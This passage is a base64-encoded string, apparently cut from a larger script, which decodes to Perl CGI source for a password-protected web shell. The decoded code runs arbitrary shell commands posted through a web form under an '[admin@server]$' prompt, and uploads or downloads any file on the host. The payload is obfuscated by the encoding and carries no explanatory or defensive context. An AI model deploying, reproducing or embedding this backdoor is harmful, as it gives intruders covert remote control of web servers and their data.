S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNjcmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4KJFByb21wdCBkb3dubG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+CkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCXByaW50IDw8RU5EOwo8Y29kZT4KCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7CgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOwoJfQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgoKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCX0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCXByaW50ICIiOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIERvd25sb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCXJldHVybjsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CgokQWN0aW9uID0gJGlueydhJ307CiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJGlueydkJ307CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZAp7CgkmRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUKewoJJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCSZEb3dubG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQ==';
